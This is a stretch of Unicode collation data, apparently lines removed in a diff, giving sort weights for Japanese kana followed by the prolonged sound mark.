-30C3 30FC ; [.3BD5.0020.000F.0002][.3BC5.0020.0007.0002] # <KATAKANA LETTER SMALL TU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF6F 30FC ; [.3BD5.0020.000F.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL TU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF6F FF70 ; [.3BD5.0020.000F.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL TU, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3063 30FC ; [.3BD5.0020.000F.0001][.3BC5.0020.0007.0002] # <HIRAGANA LETTER SMALL TU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30C4 30FC ; [.3BD5.0020.0011.0002][.3BC5.0020.0007.0002] # <KATAKANA LETTER TU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF82 30FC ; [.3BD5.0020.0011.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF82 FF70 ; [.3BD5.0020.0011.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TU, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3064 30FC ; [.3BD5.0020.0011.0001][.3BC5.0020.0007.0002] # <HIRAGANA LETTER TU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30C5 30FC ; [.3BD5.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # <KATAKANA LETTER DU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30C4 3099 30FC ; [.3BD5.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # <KATAKANA LETTER TU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF82 FF9E 30FC ; [.3BD5.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TU, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF82 FF9E FF70 ; [.3BD5.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TU, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3065 30FC ; [.3BD5.0020.0011.0001][.0000.0037.0002][.3BC5.0020.0007.0002] # <HIRAGANA LETTER DU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3064 3099 30FC ; [.3BD5.0020.0011.0001][.0000.0037.0002][.3BC5.0020.0007.0002] # <HIRAGANA LETTER TU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30CC 30FC ; [.3BDA.0020.0011.0002][.3BC5.0020.0007.0002] # <KATAKANA LETTER NU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF87 30FC ; [.3BDA.0020.0011.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER NU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF87 FF70 ; [.3BDA.0020.0011.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER NU, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-306C 30FC ; [.3BDA.0020.0011.0001][.3BC5.0020.0007.0002] # <HIRAGANA LETTER NU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30D5 30FC ; [.3BDF.0020.0011.0002][.3BC5.0020.0007.0002] # <KATAKANA LETTER HU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF8C 30FC ; [.3BDF.0020.0011.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF8C FF70 ; [.3BDF.0020.0011.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HU, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3075 30FC ; [.3BDF.0020.0011.0001][.3BC5.0020.0007.0002] # <HIRAGANA LETTER HU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30D6 30FC ; [.3BDF.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # <KATAKANA LETTER BU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30D5 3099 30FC ; [.3BDF.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # <KATAKANA LETTER HU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF8C FF9E 30FC ; [.3BDF.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HU, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF8C FF9E FF70 ; [.3BDF.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HU, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3076 30FC ; [.3BDF.0020.0011.0001][.0000.0037.0002][.3BC5.0020.0007.0002] # <HIRAGANA LETTER BU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3075 3099 30FC ; [.3BDF.0020.0011.0001][.0000.0037.0002][.3BC5.0020.0007.0002] # <HIRAGANA LETTER HU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30D7 30FC ; [.3BDF.0020.0011.0002][.0000.0038.0002][.3BC5.0020.0007.0002] # <KATAKANA LETTER PU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30D5 309A 30FC ; [.3BDF.0020.0011.0002][.0000.0038.0002][.3BC5.0020.0007.0002] # <KATAKANA LETTER HU, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF8C FF9F 30FC ; [.3BDF.0020.0011.0002][.0000.0038.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HU, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF8C FF9F FF70 ; [.3BDF.0020.0011.0002][.0000.0038.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HU, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3077 30FC ; [.3BDF.0020.0011.0001][.0000.0038.0002][.3BC5.0020.0007.0002] # <HIRAGANA LETTER PU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3075 309A 30FC ; [.3BDF.0020.0011.0001][.0000.0038.0002][.3BC5.0020.0007.0002] # <HIRAGANA LETTER HU, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30E0 30FC ; [.3BE4.0020.0011.0002][.3BC5.0020.0007.0002] # <KATAKANA LETTER MU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF91 30FC ; [.3BE4.0020.0011.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER MU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF91 FF70 ; [.3BE4.0020.0011.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER MU, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3080 30FC ; [.3BE4.0020.0011.0001][.3BC5.0020.0007.0002] # <HIRAGANA LETTER MU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30E5 30FC ; [.3BE8.0020.000F.0002][.3BC5.0020.0007.0002] # <KATAKANA LETTER SMALL YU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF6D 30FC ; [.3BE8.0020.000F.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL YU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF6D FF70 ; [.3BE8.0020.000F.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL YU, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3085 30FC ; [.3BE8.0020.000F.0001][.3BC5.0020.0007.0002] # <HIRAGANA LETTER SMALL YU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30E6 30FC ; [.3BE8.0020.0011.0002][.3BC5.0020.0007.0002] # <KATAKANA LETTER YU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF95 30FC ; [.3BE8.0020.0011.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER YU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF95 FF70 ; [.3BE8.0020.0011.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER YU, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3086 30FC ; [.3BE8.0020.0011.0001][.3BC5.0020.0007.0002] # <HIRAGANA LETTER YU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30EB 30FC ; [.3BED.0020.0011.0002][.3BC5.0020.0007.0002] # <KATAKANA LETTER RU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF99 30FC ; [.3BED.0020.0011.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER RU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF99 FF70 ; [.3BED.0020.0011.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER RU, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-308B 30FC ; [.3BED.0020.0011.0001][.3BC5.0020.0007.0002] # <HIRAGANA LETTER RU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30F4 30FC ; [.3BC5.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # <KATAKANA LETTER VU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30A6 3099 30FC ; [.3BC5.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # <KATAKANA LETTER U, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF73 FF9E 30FC ; [.3BC5.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER U, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF73 FF9E FF70 ; [.3BC5.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER U, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3094 30FC ; [.3BC5.0020.0011.0001][.0000.0037.0002][.3BC5.0020.0007.0002] # <HIRAGANA LETTER VU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3046 3099 30FC ; [.3BC5.0020.0011.0001][.0000.0037.0002][.3BC5.0020.0007.0002] # <HIRAGANA LETTER U, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-31F0 30FC ; [.3BCB.0020.000F][.3BC5.0020.0007.0002] # <KATAKANA LETTER SMALL KU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-31F2 30FC ; [.3BD0.0020.000F][.3BC5.0020.0007.0002] # <KATAKANA LETTER SMALL SU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-31F4 30FC ; [.3BDA.0020.000F][.3BC5.0020.0007.0002] # <KATAKANA LETTER SMALL NU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-31F7 30FC ; [.3BDF.0020.000F][.3BC5.0020.0007.0002] # <KATAKANA LETTER SMALL HU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-31FA 30FC ; [.3BE4.0020.000F][.3BC5.0020.0007.0002] # <KATAKANA LETTER SMALL MU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-31FD 30FC ; [.3BED.0020.000F][.3BC5.0020.0007.0002] # <KATAKANA LETTER SMALL RU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30A7 30FC ; [.3BC7.0020.000F.0002][.3BC7.0020.0007.0002] # <KATAKANA LETTER SMALL E, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF6A 30FC ; [.3BC7.0020.000F.0002][.3BC7.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL E, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF6A FF70 ; [.3BC7.0020.000F.0002][.3BC7.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL E, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3047 30FC ; [.3BC7.0020.000F.0001][.3BC7.0020.0007.0002] # <HIRAGANA LETTER SMALL E, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30A8 30FC ; [.3BC7.0020.0011.0002][.3BC7.0020.0007.0002] # <KATAKANA LETTER E, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF74 30FC ; [.3BC7.0020.0011.0002][.3BC7.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER E, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF74 FF70 ; [.3BC7.0020.0011.0002][.3BC7.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER E, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3048 30FC ; [.3BC7.0020.0011.0001][.3BC7.0020.0007.0002] # <HIRAGANA LETTER E, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30B1 30FC ; [.3BCC.0020.0011.0002][.3BC7.0020.0007.0002] # <KATAKANA LETTER KE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF79 30FC ; [.3BCC.0020.0011.0002][.3BC7.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF79 FF70 ; [.3BCC.0020.0011.0002][.3BC7.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KE, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3051 30FC ; [.3BCC.0020.0011.0001][.3BC7.0020.0007.0002] # <HIRAGANA LETTER KE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30B2 30FC ; [.3BCC.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # <KATAKANA LETTER GE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30B1 3099 30FC ; [.3BCC.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # <KATAKANA LETTER KE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF79 FF9E 30FC ; [.3BCC.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KE, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF79 FF9E FF70 ; [.3BCC.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KE, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3052 30FC ; [.3BCC.0020.0011.0001][.0000.0037.0002][.3BC7.0020.0007.0002] # <HIRAGANA LETTER GE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3051 3099 30FC ; [.3BCC.0020.0011.0001][.0000.0037.0002][.3BC7.0020.0007.0002] # <HIRAGANA LETTER KE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30BB 30FC ; [.3BD1.0020.0011.0002][.3BC7.0020.0007.0002] # <KATAKANA LETTER SE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF7E 30FC ; [.3BD1.0020.0011.0002][.3BC7.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF7E FF70 ; [.3BD1.0020.0011.0002][.3BC7.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SE, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-305B 30FC ; [.3BD1.0020.0011.0001][.3BC7.0020.0007.0002] # <HIRAGANA LETTER SE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30BC 30FC ; [.3BD1.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # <KATAKANA LETTER ZE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30BB 3099 30FC ; [.3BD1.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # <KATAKANA LETTER SE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF7E FF9E 30FC ; [.3BD1.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SE, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF7E FF9E FF70 ; [.3BD1.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SE, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-305C 30FC ; [.3BD1.0020.0011.0001][.0000.0037.0002][.3BC7.0020.0007.0002] # <HIRAGANA LETTER ZE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-305B 3099 30FC ; [.3BD1.0020.0011.0001][.0000.0037.0002][.3BC7.0020.0007.0002] # <HIRAGANA LETTER SE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30C6 30FC ; [.3BD6.0020.0011.0002][.3BC7.0020.0007.0002] # <KATAKANA LETTER TE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF83 30FC ; [.3BD6.0020.0011.0002][.3BC7.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF83 FF70 ; [.3BD6.0020.0011.0002][.3BC7.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TE, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3066 30FC ; [.3BD6.0020.0011.0001][.3BC7.0020.0007.0002] # <HIRAGANA LETTER TE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30C7 30FC ; [.3BD6.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # <KATAKANA LETTER DE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30C6 3099 30FC ; [.3BD6.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # <KATAKANA LETTER TE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF83 FF9E 30FC ; [.3BD6.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TE, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF83 FF9E FF70 ; [.3BD6.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TE, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3067 30FC ; [.3BD6.0020.0011.0001][.0000.0037.0002][.3BC7.0020.0007.0002] # <HIRAGANA LETTER DE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3066 3099 30FC ; [.3BD6.0020.0011.0001][.0000.0037.0002][.3BC7.0020.0007.0002] # <HIRAGANA LETTER TE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30CD 30FC ; [.3BDB.0020.0011.0002][.3BC7.0020.0007.0002] # <KATAKANA LETTER NE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF88 30FC ; [.3BDB.0020.0011.0002][.3BC7.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER NE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF88 FF70 ; [.3BDB.0020.0011.0002][.3BC7.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER NE, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-306D 30FC ; [.3BDB.0020.0011.0001][.3BC7.0020.0007.0002] # <HIRAGANA LETTER NE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30D8 30FC ; [.3BE0.0020.0011.0002][.3BC7.0020.0007.0002] # <KATAKANA LETTER HE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF8D 30FC ; [.3BE0.0020.0011.0002][.3BC7.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF8D FF70 ; [.3BE0.0020.0011.0002][.3BC7.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HE, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3078 30FC ; [.3BE0.0020.0011.0001][.3BC7.0020.0007.0002] # <HIRAGANA LETTER HE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30D9 30FC ; [.3BE0.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # <KATAKANA LETTER BE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30D8 3099 30FC ; [.3BE0.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # <KATAKANA LETTER HE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF8D FF9E 30FC ; [.3BE0.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HE, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF8D FF9E FF70 ; [.3BE0.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HE, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3079 30FC ; [.3BE0.0020.0011.0001][.0000.0037.0002][.3BC7.0020.0007.0002] # <HIRAGANA LETTER BE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3078 3099 30FC ; [.3BE0.0020.0011.0001][.0000.0037.0002][.3BC7.0020.0007.0002] # <HIRAGANA LETTER HE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30DA 30FC ; [.3BE0.0020.0011.0002][.0000.0038.0002][.3BC7.0020.0007.0002] # <KATAKANA LETTER PE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30D8 309A 30FC ; [.3BE0.0020.0011.0002][.0000.0038.0002][.3BC7.0020.0007.0002] # <KATAKANA LETTER HE, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF8D FF9F 30FC ; [.3BE0.0020.0011.0002][.0000.0038.0002][.3BC7.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HE, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF8D FF9F FF70 ; [.3BE0.0020.0011.0002][.0000.0038.0002][.3BC7.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HE, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-307A 30FC ; [.3BE0.0020.0011.0001][.0000.0038.0002][.3BC7.0020.0007.0002] # <HIRAGANA LETTER PE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3078 309A 30FC ; [.3BE0.0020.0011.0001][.0000.0038.0002][.3BC7.0020.0007.0002] # <HIRAGANA LETTER HE, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30E1 30FC ; [.3BE5.0020.0011.0002][.3BC7.0020.0007.0002] # <KATAKANA LETTER ME, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF92 30FC ; [.3BE5.0020.0011.0002][.3BC7.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER ME, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF92 FF70 ; [.3BE5.0020.0011.0002][.3BC7.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER ME, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3081 30FC ; [.3BE5.0020.0011.0001][.3BC7.0020.0007.0002] # <HIRAGANA LETTER ME, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30EC 30FC ; [.3BEE.0020.0011.0002][.3BC7.0020.0007.0002] # <KATAKANA LETTER RE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF9A 30FC ; [.3BEE.0020.0011.0002][.3BC7.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER RE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF9A FF70 ; [.3BEE.0020.0011.0002][.3BC7.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER RE, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-308C 30FC ; [.3BEE.0020.0011.0001][.3BC7.0020.0007.0002] # <HIRAGANA LETTER RE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30F1 30FC ; [.3BF2.0020.0011.0002][.3BC7.0020.0007.0002] # <KATAKANA LETTER WE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3091 30FC ; [.3BF2.0020.0011.0001][.3BC7.0020.0007.0002] # <HIRAGANA LETTER WE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30F9 30FC ; [.3BF2.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # <KATAKANA LETTER VE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30F1 3099 30FC ; [.3BF2.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # <KATAKANA LETTER WE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30F6 30FC ; [.3BCC.0020.000F.0002][.3BC7.0020.0007.0002] # <KATAKANA LETTER SMALL KE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3096 30FC ; [.3BCC.0020.000F.0001][.3BC7.0020.0007.0002] # <HIRAGANA LETTER SMALL KE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-31F8 30FC ; [.3BE0.0020.000F][.3BC7.0020.0007.0002] # <KATAKANA LETTER SMALL HE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-31FE 30FC ; [.3BEE.0020.000F][.3BC7.0020.0007.0002] # <KATAKANA LETTER SMALL RE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30A9 30FC ; [.3BC8.0020.000F.0002][.3BC8.0020.0007.0002] # <KATAKANA LETTER SMALL O, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF6B 30FC ; [.3BC8.0020.000F.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL O, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF6B FF70 ; [.3BC8.0020.000F.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL O, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3049 30FC ; [.3BC8.0020.000F.0001][.3BC8.0020.0007.0002] # <HIRAGANA LETTER SMALL O, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30AA 30FC ; [.3BC8.0020.0011.0002][.3BC8.0020.0007.0002] # <KATAKANA LETTER O, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF75 30FC ; [.3BC8.0020.0011.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER O, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF75 FF70 ; [.3BC8.0020.0011.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER O, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-304A 30FC ; [.3BC8.0020.0011.0001][.3BC8.0020.0007.0002] # <HIRAGANA LETTER O, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30B3 30FC ; [.3BCD.0020.0011.0002][.3BC8.0020.0007.0002] # <KATAKANA LETTER KO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF7A 30FC ; [.3BCD.0020.0011.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
